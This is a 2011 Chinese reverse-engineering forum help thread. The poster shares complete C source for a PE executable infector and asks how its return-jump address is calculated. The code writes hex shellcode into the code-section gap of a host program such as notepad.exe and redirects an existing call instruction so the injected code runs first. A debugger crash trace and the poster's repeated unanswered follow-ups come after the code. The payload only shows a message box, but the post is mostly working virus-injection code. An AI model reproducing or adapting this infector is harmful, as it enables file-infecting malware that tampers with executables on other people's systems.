首页
社区
课程
招聘
[旧帖] [求助]PE感染测试代码 0.00雪花
发表于: 2011-1-21 16:04 932

[旧帖] [求助]PE感染测试代码 0.00雪花

2011-1-21 16:04
932
以下是PE感染源代码:

/*
pe感染测试代码,pe inline call, exe感染
通过在物理pe文件.text节间空隙添加代码-shellcode,调整原代码中某个call指令的操作数为shellcode地址,
shellcode接着节代码存放。shellcode末尾有jmp至原那个call的操作数。
win2k3+sp2测试成功,弹出msg,但是之后出现异常
具体信息:http://bbs.pediy.com/showthread.php?threadid=33783
*/
// infectpe.cpp : 定义控制台应用程序的入口点。
//

//#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")

char szHostFile[] = "C:\\Documents and Settings\\Administrator\\桌面\\PEHEX\\pehex_1\\notepad.exe" ;//宿主文件
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader,pImageSectionHeader2;

unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\x72\x6f\x62\x69\x6e\x68"
                            "\x30\x30\x64\x00" ;
/*
要插入的反汇编代码thunk code:
00401006   . 60                  PUSHAD
00401007   . 9C                  PUSHFD
00401008   . E8 00000000         CALL msg.0040100D
0040100D   $ 5B                  POP EBX
0040100E   . 81EB 0D104000       SUB EBX,msg.0040100D
00401014   . 6A 00               PUSH 0
00401016   . 8D83 30104000       LEA EAX,DWORD PTR DS:[EBX+401030]
0040101C   . 50                  PUSH EAX
0040101D   . 50                  PUSH EAX
0040101E   . 6A 00               PUSH 0
00401020   . B8 78563412         MOV EAX,12345678            ;这里感染前会被替换成正确的MessageBoxA的地址
00401025   . FFD0                CALL EAX
00401027   . 9D                  POPFD
00401028   . 61                  POPAD
00401029   . FF25 3A104000       JMP DWORD PTR DS:[40103A]   ;跳到API,这里也是重点替换的地方,这里改用CALL
0040102F      90                  NOP
00401030   . 72 6F 62 69 6E 68 30 30 64 00>ASCII "robinh00d",0 //\x72\x6f\x62\x69\x6e\x68\x30\x30\x64 sum:10
0040103A
*/

int main()
{
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;//24
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
//    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
//    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
//    DWORD dwJmpVA ;

//拷贝
CopyFileA("_cc.exe",szHostFile,FALSE);

hFile = CreateFileA(szHostFile,GENERIC_ALL,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

//printf("filename:%s\n",szHostFile);                        
    if (hFile==INVALID_HANDLE_VALUE)
    {
        printf("Open host file failed!\n") ;
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL) ;
    if (!hMap)
    {
        printf("Create file mapping falied!\n") ;
        return -1 ;
    }
   
    //将一个文件映射对象映射到当前应用程序的地址空间,返回值是文件映射在内存中的起始地址
    pMapping = MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0) ;
    if (!pMapping)
    {
        printf("Map view of file failed!\n") ;
        return -1 ;
    }
   
    //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew);
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            //:::是合法的PE文件
            //:::定位到节表头
    pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+pImageDosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS));
    pImageSectionHeader2 = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+pImageDosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS)*2);

    /*
    NewSection.VirtualAddress   ┐
    NewSection.Misc.VirtualSize ┘定位 内存中 下个节的地址

    NewSection.SizeOfRawData    ┐
    NewSection.PointerToRawData ┘定位 磁盘中 下个节的地址

    OptionalHeader.SizeOfImage - 内存中整个PE的大小
    OptionalHeader.SizeOfCode - 磁盘中整个代码块的大小
    */

            //:::计算第一个节的空隙大小
    dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize;
    //空闲大小 = 下一区块文件起始地址 - 本区块文件起始地址 - 本区块SizeOfRawData
    //dwGapSize = pImageSectionHeader2->PointerToRawData - pImageSectionHeader->PointerToRawData -pImageSectionHeader->Misc.VirtualSize;
            
            //:::如果代码缝隙小于thunk code的大小则感染失败
            if (sizeof(thunkcode)>dwGapSize)
            {
                printf("no more space to fill!\n") ;
                goto Close ;
               
            }

    //:::定位到代码末尾,用于写shellcode的地址
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+//区块文件偏移地址加装入内存中的初始地址
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize);
   
    //VA = BASE + RVA
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
      
            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA");

            //修改为当前系统的MessageBoxA地址
    //DWORD,32 地址反写
    //int x = 0x16 ;24
            for (i=3;i>=0;i--)
            {
     //一次写8bits = 1 byte的内容,&0xff
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff;
                x -= 8 ;
            }
    //恢复
            x = 24 ;
            
            //第一个/某个section 在内存中的大小
    vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
            
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                        
            //:::搜索call指令(0xE8) //JMP 0xEB
            for (i=0;i<vir_len;i++)
            {
     //这里也多加判断一下下一条指令长度
                if (pSearch[i]==0xE8)
     //if (pSearch[i]==0xE8&&(((DWORD*)pSearch[i+5]&0xffff)==0x15ff))
   
                {
                    //:::call指令操作数地址,DWORD
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;//这里换成msgbox proc的地址
                    //:::call下条指令地址,DWORD
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;//call 四个字节操作数之后

                    //dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;   
                                        int check = sizeof(DWORD);
                                       
      dwJmpAddr = (DWORD *)(dwCallDataAddr + sizeof(DWORD));//sizeof()
      //dwJmpAddr = (DWORD *)(&pSearch);
      /*
      win2k3+sp2测试成功,弹出msg,但是之后出现异常?
      2007-03-07 20:00         1,412,096 mmc.exe
      1 个文件      1,412,096 字节
         0 个目录 8,695,505,408 可用字节

      */
     
                    //:::Jmp指令在内存的虚拟地址VA
      /*
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;//?
      */
      /*
      //崩溃
      堆栈 ss:[0012FF44]=85467C77 <----------
      edx=860EA11C

       00401287   /0F85 D1000000   jnz list.0040135E
       0040128D   |8B4D E8         mov ecx,dword ptr ss:[ebp-18]
       00401290   |8B55 D4         mov edx,dword ptr ss:[ebp-2C]
       00401293   |8D440A 01       lea eax,dword ptr ds:[edx+ecx+1]
       00401297   |8945 CC         mov dword ptr ss:[ebp-34],eax <--dwCallDataAddr
       0040129A   |8B4D E8         mov ecx,dword ptr ss:[ebp-18]
       0040129D   |8B55 D4         mov edx,dword ptr ss:[ebp-2C]
       004012A0   |8D440A 05       lea eax,dword ptr ds:[edx+ecx+5]
       004012A4   |8945 D0         mov dword ptr ss:[ebp-30],eax <--dwCallNextAddr
       004012A7   |8B4D CC         mov ecx,dword ptr ss:[ebp-34]
       004012AA   |8B11            mov edx,dword ptr ds:[ecx] <-- *dwCallDataAddr
       004012AC   |0355 D0         add edx,dword ptr ss:[ebp-30] <--*dwCallDataAddr+ (DWORD)dwCallNextAddr
       004012AF   |8955 C4         mov dword ptr ss:[ebp-3C],edx <--- EDX =
       004012B2   |8B45 C4         mov eax,dword ptr ss:[ebp-3C] <-- EAX = dwJmpAddr [0x12ff44] = 85467C77
       004012B5   |8B08            mov ecx,dword ptr ds:[eax] <-- ECX = *dwJmpAddr
       004012B7   |81E1 FFFF0000   and ecx,0FFFF
       004012BD   |81F9 FF250000   cmp ecx,25FF
       004012C3   |0F85 95000000   jnz list.0040135E

      */
     
                    //if ((*dwJmpAddr&0xffff)==0x25ff)//??为什么要进行& JMP 25 ff
      if ((*dwJmpAddr&0xffff)==0x15ff) //JMP 0xAABBCCDD 0x15ff 适合指令模式
                    {
       //:::取jmp操作数,返回的时候使用
       dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2));

                        //:::修改call操作数,空节的起始地址(shellcode)-
       dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;//偏移地址
       *dwCallDataAddr = dwCodeDistance ;//跳到shellcode起始地址

                        //:::原jmp里的操作数,替换到thunk code的末尾
       for (i=3;i>=0;i--)
       {
          thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff;
          x -= 8 ;
          }
       x = 24;
                        //把thunk code写入目标宿主程序
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
       printf("infected ok.\n");
                        break ;
                    }
     
                }
               
            }
            
        }
    }
    else
    {
        printf("Invalid file format!\n") ;
    }
    Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}
请问:dwJmpAddr = (DWORD *)(dwCallDataAddr + sizeof(DWORD));dwJmpAddr指的应该是jmp指令的地址,它与它之前的call指令有什么关系,为什么像上面那样赋值?cal随后的操作数改为shellcode的地址后,在shellcode后段添加jmp指令的操作数以跳转回代码段的相关地址中,不明白该jmp指令的作用以及操作数代表着什么??请高手赐教...

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
为什么用这种方式确定JMP指令的地址:dwJmpAddr = (DWORD *)(dwCallDataAddr + sizeof(DWORD));
   通过dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2));取操作数放进shellcode跳转到哪里呢?
2011-1-21 16:13
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
我想具体知道从shellcode跳转回宿主程序的某个地址是如何确定的??
2011-1-21 16:22
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
此代码的地址跳转原因本人实在是百思不得其解? 恳请各位大虾大牛帮帮忙啊!!!
2011-1-21 16:41
0
游客
登录 | 注册 方可回帖
返回
//